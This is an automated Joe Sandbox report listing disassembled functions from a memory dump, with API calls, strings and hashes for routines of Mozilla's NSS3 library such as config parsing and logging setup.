String ID: rv = %s$ rv = 0x%x$CKR_BUFFER_TOO_SMALL$CKR_CRYPTOKI_ALREADY_INITIALIZED$CKR_CRYPTOKI_NOT_INITIALIZED$CKR_CURVE_NOT_SUPPORTED$CKR_DEVICE_ERROR$CKR_DEVICE_MEMORY$CKR_DEVICE_REMOVED$CKR_DOMAIN_PARAMS_INVALID$CKR_ENCRYPTED_DATA_INVALID$CKR_ENCRYPTED_DATA_LEN_RANGE$CKR_FUNCTION_CANCELED$CKR_FUNCTION_NOT_PARALLEL$CKR_FUNCTION_REJECTED$CKR_INFORMATION_SENSITIVE$CKR_MUTEX_BAD$CKR_MUTEX_NOT_LOCKED$CKR_NEW_PIN_MODE$CKR_NEXT_OTP$CKR_OBJECT_HANDLE_INVALID$CKR_OK$CKR_OPERATION_ACTIVE$CKR_OPERATION_CANCEL_FAILED$CKR_OPERATION_NOT_INITIALIZED$CKR_PIN_EXPIRED$CKR_PIN_INCORRECT$CKR_PIN_INVALID$CKR_PIN_LEN_RANGE$CKR_PIN_LOCKED$CKR_RANDOM_NO_RNG$CKR_RANDOM_SEED_NOT_SUPPORTED$CKR_SAVED_STATE_INVALID$CKR_SIGNATURE_INVALID$CKR_SIGNATURE_LEN_RANGE$CKR_STATE_UNSAVEABLE$CKR_TEMPLATE_INCOMPLETE$CKR_TEMPLATE_INCONSISTENT$CKR_TOKEN_NOT_PRESENT$CKR_TOKEN_NOT_RECOGNIZED$CKR_TOKEN_RESOURCE_EXCEEDED$CKR_TOKEN_WRITE_PROTECTED$CKR_WRAPPED_KEY_INVALID$CKR_WRAPPED_KEY_LEN_RANGE$CKR_WRAPPING_KEY_HANDLE_INVALID$CKR_WRAPPING_KEY_SIZE_RANGE$CKR_WRAPPING_KEY_TYPE_INCONSISTENT
API String ID: 3558298466-1980531169
Opcode ID: 0bed0567723a36562a0e4718a69252e1545fa20bddf75b9b8a7b9fd2e58812ac
Instruction ID: 8c37c1e8d091a1c8c5c1e8ddbe9ccd2804cb11c7ebf81875ecb80807597892b1
Opcode Fuzzy Hash: 0bed0567723a36562a0e4718a69252e1545fa20bddf75b9b8a7b9fd2e58812ac
Instruction Fuzzy Hash: 7261142564D041D7FA1C450C82EC37E6D32AB47318F74C137E989DEE9BD297CAA24693

Uniqueness

Uniqueness Score: -1.00%

Function 6CF75DE0 Relevance: 63.3, APIs: 27, Strings: 9, Instructions: 272COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?), ref: 6CF75E08
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6CF75E3F
PL_strncasecmp.NSS3(00000000,readOnly,00000008), ref: 6CF75E5C
free.MOZGLUE(00000000), ref: 6CF75E7E
free.MOZGLUE(00000000), ref: 6CF75E97
PORT_Strdup_Util.NSS3(secmod.db), ref: 6CF75EA5
_NSSUTIL_EvaluateConfigDir.NSS3(00000000,?,?), ref: 6CF75EBB
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6CF75ECB
PL_strncasecmp.NSS3(00000000,noModDB,00000007), ref: 6CF75EF0
free.MOZGLUE(00000000), ref: 6CF75F12
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6CF75F35
PL_strncasecmp.NSS3(00000000,forceSecmodChoice,00000011), ref: 6CF75F5B
free.MOZGLUE(00000000), ref: 6CF75F82
PL_strncasecmp.NSS3(?,configDir=,0000000A), ref: 6CF75FA3
PL_strncasecmp.NSS3(?,secmod=,00000007), ref: 6CF75FB7
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6CF75FC4
free.MOZGLUE(00000000), ref: 6CF75FDB
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6CF75FE9
free.MOZGLUE(00000000), ref: 6CF75FFE
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6CF7600C
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF76027
PR_smprintf.NSS3(%s/%s,?,00000000), ref: 6CF7605A
PR_smprintf.NSS3(6D04AAF9,00000000), ref: 6CF7606A
free.MOZGLUE(00000000), ref: 6CF7607C
free.MOZGLUE(00000000), ref: 6CF7609A
free.MOZGLUE(00000000), ref: 6CF760B2
free.MOZGLUE(?), ref: 6CF760CE

Strings

pkcs11.txt, xrefs: 6CF75F47, 6CF75F7C, 6CF7603A, 6CF76053
%s/%s, xrefs: 6CF76055
secmod=, xrefs: 6CF75FB1
flags, xrefs: 6CF75E3A, 6CF75EC6, 6CF75F30
noModDB, xrefs: 6CF75EEA
configDir=, xrefs: 6CF75F9D
secmod.db, xrefs: 6CF75EA0
forceSecmodChoice, xrefs: 6CF75F55
readOnly, xrefs: 6CF75E56

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: free$L_strncasecmpValue$Param$FetchR_smprintfisspace$ConfigEvaluateParameterSkipStrdup_Util
String ID: %s/%s$configDir=$flags$forceSecmodChoice$noModDB$pkcs11.txt$readOnly$secmod.db$secmod=
API String ID: 1427204090-154007103
Opcode ID: ebd919565da98205bfad82dd9f8390d1f660351386033f0b96ba3618d98349da
Instruction ID: 2c99fcb10cd526626fda6e9edd2dac14d9439a75658456b4e1daf0213d6ce6c0
Opcode Fuzzy Hash: ebd919565da98205bfad82dd9f8390d1f660351386033f0b96ba3618d98349da
Instruction Fuzzy Hash: CA91B0F49042459BEF218B24BC85BEB3BA49F0624CF180066FC599BB42E735D959C7B2

Uniqueness

Uniqueness Score: -1.00%

Function 6CF01D90 Relevance: 45.7, APIs: 16, Strings: 10, Instructions: 182filestringCOMMON

Download Yara Rule

APIs

PR_NewLock.NSS3 ref: 6CF01DA3

Part of subcall function 6CFD98D0: calloc.MOZGLUE(?,00000084,6CF00936,00000001,?,6CF0102C), ref: 6CFD98E5

PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES), ref: 6CF01DB2

Part of subcall function 6CF01240: TlsGetValue.KERNEL32(00000040,?,6CF0116C,NSPR_LOG_MODULES), ref: 6CF01267
Part of subcall function 6CF01240: EnterCriticalSection.KERNEL32(?,?,?,6CF0116C,NSPR_LOG_MODULES), ref: 6CF0127C
Part of subcall function 6CF01240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CF0116C,NSPR_LOG_MODULES), ref: 6CF01291
Part of subcall function 6CF01240: PR_Unlock.NSS3(?,?,?,?,6CF0116C,NSPR_LOG_MODULES), ref: 6CF012A0

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CF01DD8
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sync), ref: 6CF01E4F
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,bufsize), ref: 6CF01EA4
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,timestamp), ref: 6CF01ECD
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,append), ref: 6CF01EEF
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,all), ref: 6CF01F17
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CF01F34
PR_SetLogBuffering.NSS3(00004000), ref: 6CF01F61
PR_GetEnvSecure.NSS3(NSPR_LOG_FILE), ref: 6CF01F6E
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CF01F83
PR_SetLogFile.NSS3(00000000), ref: 6CF01FA2
PR_smprintf.NSS3(Unable to create nspr log file '%s',00000000), ref: 6CF01FB8
OutputDebugStringA.KERNEL32(00000000), ref: 6CF01FCB
free.MOZGLUE(00000000), ref: 6CF01FD2

Strings

%63[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-]%n:%d%n, xrefs: 6CF01E27
append, xrefs: 6CF01EE6
all, xrefs: 6CF01F0E
NSPR_LOG_MODULES, xrefs: 6CF01DAD
timestamp, xrefs: 6CF01EC4
Unable to create nspr log file '%s', xrefs: 6CF01FB3
bufsize, xrefs: 6CF01E9B
sync, xrefs: 6CF01E46
, %n, xrefs: 6CF01E6B
NSPR_LOG_FILE, xrefs: 6CF01F69

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: _stricmp$Secure$BufferingCriticalDebugEnterFileLockOutputR_smprintfSectionStringUnlockValue__acrt_iob_funccallocfreegetenvstrlen
String ID: , %n$%63[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-]%n:%d%n$NSPR_LOG_FILE$NSPR_LOG_MODULES$Unable to create nspr log file '%s'$all$append$bufsize$sync$timestamp
API String ID: 2013311973-4000297177
Opcode ID: b4e6f0aea2bdb7e0698e0709bedd7d7506a2166d3934007d6910646597a95e91
Instruction ID: 2247b7025b657c224258da10e921f50d962d56d0ec80b1fcb949b1ff15dd2b59
Opcode Fuzzy Hash: b4e6f0aea2bdb7e0698e0709bedd7d7506a2166d3934007d6910646597a95e91
Instruction Fuzzy Hash: FE51A0B1E052499BEF00CBE5CC64BEE7BB8AF0170DF088128E919EB641E770E558DB55

Uniqueness

Uniqueness Score: -1.00%

Function 6CF74C10 Relevance: 40.4, APIs: 13, Strings: 10, Instructions: 146stringmemoryCOMMON

Download Yara Rule

APIs

PR_smprintf.NSS3(%s,%s,00000000,?,0000002F,?,?,?,00000000,00000000,?,6CF64F51,00000000), ref: 6CF74C50
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6CF64F51,00000000), ref: 6CF74C5B
PR_smprintf.NSS3(6D04AAF9,?,0000002F,?,?,?,00000000,00000000,?,6CF64F51,00000000), ref: 6CF74C76
PORT_ZAlloc_Util.NSS3(0000001A,0000002F,?,?,?,00000000,00000000,?,6CF64F51,00000000), ref: 6CF74CAE
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CF74CC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CF74CF4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CF74D0B
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6CF64F51,00000000), ref: 6CF74D5E
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6CF64F51,00000000), ref: 6CF74D68
PR_smprintf.NSS3(0x%08lx=[%s %s],0000002F,?,00000000), ref: 6CF74D85
PR_smprintf.NSS3(0x%08lx=[%s askpw=%s timeout=%d %s],0000002F,?,?,?,00000000), ref: 6CF74DA2
free.MOZGLUE(?), ref: 6CF74DB9
free.MOZGLUE(00000000), ref: 6CF74DCF

Strings

every, xrefs: 6CF74CA1
ootT, xrefs: 6CF74D1A
any, xrefs: 6CF74C96
rust, xrefs: 6CF74D22
0x%08lx=[%s askpw=%s timeout=%d %s], xrefs: 6CF74D9D
0x%08lx=[%s %s], xrefs: 6CF74D80
rootFlags, xrefs: 6CF74D47
%s,%s, xrefs: 6CF74C4B
slotFlags, xrefs: 6CF74D34
timeout, xrefs: 6CF74C91

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: free$R_smprintf$strlen$Alloc_Util
String ID: %s,%s$0x%08lx=[%s %s]$0x%08lx=[%s askpw=%s timeout=%d %s]$any$every$ootT$rootFlags$rust$slotFlags$timeout
API String ID: 3756394533-2552752316
Opcode ID: e8f0388a1bf22ddf149c1feda486a54ed8cd4c78fea0197ceb5622988104ab8c
Instruction ID: a5212abe2c2fe373eeed521a894f932a1df98b5139295358f3a953e82511f2ca
Opcode Fuzzy Hash: e8f0388a1bf22ddf149c1feda486a54ed8cd4c78fea0197ceb5622988104ab8c
Instruction Fuzzy Hash: 20412BB1900181ABEB229F14AD44BBB3E69AF8230CF158139EC195B745E7319925CBF3

Uniqueness

Uniqueness Score: -1.00%

Function 6CF1DDD0 Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 169memorystringtimeCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CF1DDDE

Part of subcall function 6CF70FF0: calloc.MOZGLUE(?,00000024,00000000,?,?,6CF187ED,00000800,6CF0EF74,00000000), ref: 6CF71000
Part of subcall function 6CF70FF0: PR_NewLock.NSS3(?,00000800,6CF0EF74,00000000), ref: 6CF71016
Part of subcall function 6CF70FF0: PL_InitArenaPool.NSS3(00000000,security,6CF187ED,00000008,?,00000800,6CF0EF74,00000000), ref: 6CF7102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000018), ref: 6CF1DDF5

Part of subcall function 6CF710C0: TlsGetValue.KERNEL32(?,6CF18802,00000000,00000008,?,6CF0EF74,00000000), ref: 6CF710F3
Part of subcall function 6CF710C0: EnterCriticalSection.KERNEL32(?,?,6CF18802,00000000,00000008,?,6CF0EF74,00000000), ref: 6CF7110C
Part of subcall function 6CF710C0: PL_ArenaAllocate.NSS3(?,?,?,6CF18802,00000000,00000008,?,6CF0EF74,00000000), ref: 6CF71141
Part of subcall function 6CF710C0: PR_Unlock.NSS3(?,?,?,6CF18802,00000000,00000008,?,6CF0EF74,00000000), ref: 6CF71182
Part of subcall function 6CF710C0: TlsGetValue.KERNEL32(?,6CF18802,00000000,00000008,?,6CF0EF74,00000000), ref: 6CF7119C

PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6CF1DE34
PR_Now.NSS3 ref: 6CF1DE93
CERT_CheckCertValidTimes.NSS3(?,00000000,?,00000000), ref: 6CF1DE9D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF1DEB4
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CF1DEC3
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CF1DED8
PR_smprintf.NSS3(%s%s,?,?), ref: 6CF1DEF0
PR_smprintf.NSS3(6D04AAF9,(NULL) (Validity Unknown)), ref: 6CF1DF04
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CF1DF13
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CF1DF22
memcpy.VCRUNTIME140(00000000,00000000,00000001), ref: 6CF1DF33
free.MOZGLUE(00000000), ref: 6CF1DF3C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CF1DF4B
free.MOZGLUE(00000000), ref: 6CF1DF74
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CF1DF8E

Strings

{???}, xrefs: 6CF1DE8B
(NULL) (Validity Unknown), xrefs: 6CF1DEFA
%s%s, xrefs: 6CF1DEEB

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: ArenaUtil$Alloc_$strlen$Arena_R_smprintfValuefreememcpy$AllocateCertCheckCriticalEnterFreeInitLockPoolSectionTimesUnlockValidcalloc
String ID: %s%s$(NULL) (Validity Unknown)${???}
API String ID: 1882561532-3437882492
Opcode ID: 4348a6efb151f01d1068cf0f3ba4a49ad86e776552bc80d1ccefcd5bb81833d2
Instruction ID: 9f4414ffbd31666d67dfeec2a0203ed032371040a9b4459816a8e19748ac2134
Opcode Fuzzy Hash: 4348a6efb151f01d1068cf0f3ba4a49ad86e776552bc80d1ccefcd5bb81833d2
Instruction Fuzzy Hash: 1E51A0B2E052059BEB11DF659C41BAF7AB9AF85358F144039EC09E7B01E731E914CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 6CF52D80 Relevance: 33.4, APIs: 22, Instructions: 381COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,00000000,?), ref: 6CF52DEC
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?), ref: 6CF52E00
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CF52E2B
PR_SetError.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CF52E43
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000000,?,?,?,6CF24F1C,?,-00000001,00000000,?), ref: 6CF52E74
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,00000000,?,?,?,6CF24F1C,?,-00000001,00000000), ref: 6CF52E88
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CF52EC6
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CF52EE4
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CF52EF8
PR_Unlock.NSS3(?), ref: 6CF52F62
TlsGetValue.KERNEL32 ref: 6CF52F86
EnterCriticalSection.KERNEL32(0000001C), ref: 6CF52F9E
PR_Unlock.NSS3(?), ref: 6CF52FCA
TlsGetValue.KERNEL32 ref: 6CF5301A
EnterCriticalSection.KERNEL32(?), ref: 6CF5302E
PR_Unlock.NSS3(?), ref: 6CF53066
PR_SetError.NSS3(00000000,00000000), ref: 6CF53085
PR_Unlock.NSS3(?), ref: 6CF530EC
TlsGetValue.KERNEL32 ref: 6CF5310C
EnterCriticalSection.KERNEL32(0000001C), ref: 6CF53124
PR_Unlock.NSS3(?), ref: 6CF5314C

Part of subcall function 6CF39180: PK11_NeedUserInit.NSS3(?,?,?,00000000,?,6CF6379E,?,6CF39568,00000000,?,6CF6379E,?,?,?), ref: 6CF3918D
Part of subcall function 6CF39180: PR_SetError.NSS3(FFFFE000,00000000,?,?,?,00000000,?,6CF6379E,?,6CF39568,00000000,?,6CF6379E,?,?,?), ref: 6CF391A0

Part of subcall function 6CF007A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CE9204A), ref: 6CF007AD
Part of subcall function 6CF007A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CE9204A), ref: 6CF007CD
Part of subcall function 6CF007A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CE9204A), ref: 6CF007D6
Part of subcall function 6CF007A0: calloc.MOZGLUE(?,00000144,?,?,?,?,6CE9204A), ref: 6CF007E4
Part of subcall function 6CF007A0: TlsSetValue.KERNEL32(00000000,?,6CE9204A), ref: 6CF00864
Part of subcall function 6CF007A0: calloc.MOZGLUE(?,0000002C), ref: 6CF00880
Part of subcall function 6CF007A0: TlsSetValue.KERNEL32(00000000,?,?,6CE9204A), ref: 6CF008CB
Part of subcall function 6CF007A0: TlsGetValue.KERNEL32(?,?,6CE9204A), ref: 6CF008D7
Part of subcall function 6CF007A0: TlsGetValue.KERNEL32(?,?,6CE9204A), ref: 6CF008FB

PR_SetError.NSS3(00000000,00000000), ref: 6CF5316D

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: Value$Unlock$CriticalEnterSection$Error$calloc$InitK11_NeedUser
String ID:
API String ID: 3383223490-0
Opcode ID: 69973d7afd61ba156bfd374f6cdbf05be974b917b370787e7ef9300f9c6d30a3
Instruction ID: eaa4f9c3d8ddbe0857e33d8361ba4895b86e9d1ea252806278f126c809faea85
Opcode Fuzzy Hash: 69973d7afd61ba156bfd374f6cdbf05be974b917b370787e7ef9300f9c6d30a3
Instruction Fuzzy Hash: 55F19EB1D00218AFDF00DF68D844B9EBBB4BF1A318F544169ED04A7711E731E9A9CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6CF56CD0 Relevance: 30.3, APIs: 20, Instructions: 298stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CF56910: NSSUTIL_ArgHasFlag.NSS3(flags,readOnly,00000000), ref: 6CF56943
Part of subcall function 6CF56910: NSSUTIL_ArgHasFlag.NSS3(flags,nocertdb,00000000), ref: 6CF56957
Part of subcall function 6CF56910: NSSUTIL_ArgHasFlag.NSS3(flags,nokeydb,00000000), ref: 6CF56972
Part of subcall function 6CF56910: NSSUTIL_ArgStrip.NSS3(00000000), ref: 6CF56983
Part of subcall function 6CF56910: PL_strncasecmp.NSS3(00000000,configdir=,0000000A), ref: 6CF569AA
Part of subcall function 6CF56910: PL_strncasecmp.NSS3(00000000,certPrefix=,0000000B), ref: 6CF569BE
Part of subcall function 6CF56910: PL_strncasecmp.NSS3(00000000,keyPrefix=,0000000A), ref: 6CF569D2
Part of subcall function 6CF56910: NSSUTIL_ArgSkipParameter.NSS3(00000000), ref: 6CF569DF
Part of subcall function 6CF56910: NSSUTIL_ArgStrip.NSS3(?), ref: 6CF56A5B

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CF56D8C
free.MOZGLUE(00000000), ref: 6CF56DC5
free.MOZGLUE(?), ref: 6CF56DD6
free.MOZGLUE(?), ref: 6CF56DE7
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CF56E1F
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CF56E4B
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CF56E72
free.MOZGLUE(?), ref: 6CF56EA7
free.MOZGLUE(?), ref: 6CF56EC4
free.MOZGLUE(?), ref: 6CF56ED5
free.MOZGLUE(00000000), ref: 6CF56EE3
free.MOZGLUE(?), ref: 6CF56EF4
free.MOZGLUE(?), ref: 6CF56F08
free.MOZGLUE(00000000), ref: 6CF56F35
free.MOZGLUE(?), ref: 6CF56F44
free.MOZGLUE(?), ref: 6CF56F5B
free.MOZGLUE(00000000), ref: 6CF56F65

Part of subcall function 6CF56C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6CF5781D,00000000,6CF4BE2C,?,6CF56B1D,?,?,?,?,00000000,00000000,6CF5781D), ref: 6CF56C40
Part of subcall function 6CF56C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6CF5781D,?,6CF4BE2C,?), ref: 6CF56C58
Part of subcall function 6CF56C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6CF5781D), ref: 6CF56C6F
Part of subcall function 6CF56C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6CF56C84
Part of subcall function 6CF56C30: PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6CF56C96
Part of subcall function 6CF56C30: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6CF56CAA

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CF56F90
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CF56FC5
PK11_GetInternalKeySlot.NSS3 ref: 6CF56FF4

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: free$strcmp$strncmp$FlagL_strncasecmp$Strip$InternalK11_ParameterSecureSkipSlot
String ID:
API String ID: 1304971872-0
Opcode ID: 2b7841d074e21a82c7e082f20c53e324a216bc65a04065bf7ae96b9989879b30
Instruction ID: 47f1455a5f89bdce9dd670cfc96c72da85217251559666321972983ec64054a5
Opcode Fuzzy Hash: 2b7841d074e21a82c7e082f20c53e324a216bc65a04065bf7ae96b9989879b30
Instruction Fuzzy Hash: A9B17FB1E022499FEF00CBA5D844BDEBBB8AF15308F540124FA25E7741E731E964CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 6CF54C20 Relevance: 30.3, APIs: 20, Instructions: 290memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CF54C4C
EnterCriticalSection.KERNEL32(?), ref: 6CF54C60
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6CF54CA1
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6CF54CBE
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6CF54CD2
realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CF54D3A
PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CF54D4F
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6CF54DB7

Part of subcall function 6CFBDD70: TlsGetValue.KERNEL32 ref: 6CFBDD8C
Part of subcall function 6CFBDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CFBDDB4

Part of subcall function 6CF007A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CE9204A), ref: 6CF007AD
Part of subcall function 6CF007A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CE9204A), ref: 6CF007CD
Part of subcall function 6CF007A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CE9204A), ref: 6CF007D6
Part of subcall function 6CF007A0: calloc.MOZGLUE(?,00000144,?,?,?,?,6CE9204A), ref: 6CF007E4
Part of subcall function 6CF007A0: TlsSetValue.KERNEL32(00000000,?,6CE9204A), ref: 6CF00864
Part of subcall function 6CF007A0: calloc.MOZGLUE(?,0000002C), ref: 6CF00880
